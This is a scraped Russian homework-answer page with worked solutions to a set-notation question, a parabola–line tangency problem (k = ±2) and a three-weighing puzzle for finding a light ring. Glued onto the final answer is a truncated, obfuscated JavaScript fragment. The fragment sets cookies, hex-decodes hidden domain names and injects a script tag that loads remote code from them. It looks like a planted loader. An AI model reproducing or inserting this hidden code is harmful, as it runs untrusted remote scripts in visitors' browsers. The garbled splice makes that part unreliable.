Используя обозначения N ; Z ; Q и знаки ∈ ; ∉ , запиши следующее утверждение: −20 — целое число. ответ (выбери соответствующее обозначение): −20 ∉ ∈ N Z Q

Z- множество целых чисел.

Область определения     -2-x≠0  ⇒   x≠-2

D(y) :   x ∈ (-∞; -2) ∪ (-2; +∞)

y = - x² - 1;     x ≠ -2

График функции - квадратичная парабола, ветви направлены вниз.

Координаты вершины из уравнения функции

       x₀ = 0;   y₀ = -1

y = kx    -   прямая, проходящая через начало координат.

-x² - 1 = kx       ⇔     x² + kx + 1 = 0

Квадратное уравнение имеет один корень, когда  D = 0.

D = k² - 4 = 0    ⇔    k² = 4

k₁ = 2;      k₂ = -2

1) 2x = -x² - 1       ⇔    x² + 2x + 1 = 0        ⇔      (x + 1)² = 0

  x = -1;    y = 2x =  2·(-1)  = -2

Прямая   y = 2x   имеет с параболой одну общую точку  (-1; -2)

2) -2x = -x² - 1       ⇔    x² - 2x + 1 = 0        ⇔      (x - 1)² = 0

  x = 1;    y = -2x = -2·1  = -2

Прямая   y = -2x   имеет с параболой одну общую точку  (1; -2)

ответ :   k₁ = 2;      k₂ = -2

1 ВЗВЕШИВАНИЕ. откладываем 5 колец в сторону, взвешиваем оставшиеся кольца , по 5 штук на чаше весов. Если весы показывают, что одна чаша легче, то бракованное кольцо будет среди этих колец. Следующим шагом будем взвешивать именно эти 5 колец. Если весы показывают равенство чаш с десятью кольцами, значит, среди этих десяти колец нет бракованного легкого кольца и оно осталось среди тех 5-ти колец, что мы уже отложили. Значит, дальше взвешивать будем именно пятерку из этих колец. 2ВЗВЕШИВАНИЕ. Перед нами 5 колец оставшихся, откладываем одно кольцо в сторону. Взвешиваем оставшиеся 4 кольца по 2 штуки на чашу. Если Весы покажут равный вес чаш, то бракованное кольцо мы отложили уже в сторону. Значит, эксперимент закончен. Если Одна из чаш легче, то именно в ней среди двух колец находится бракованное. Эти два кольца и будем взвешивать в следующий раз. 3ВЗВЕШИВАНИЕ. У нас осталось только два кольца, взвешиваем и находим то, которое меньше. ОТВЕТ: 3 взвешиванияwindow.r r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();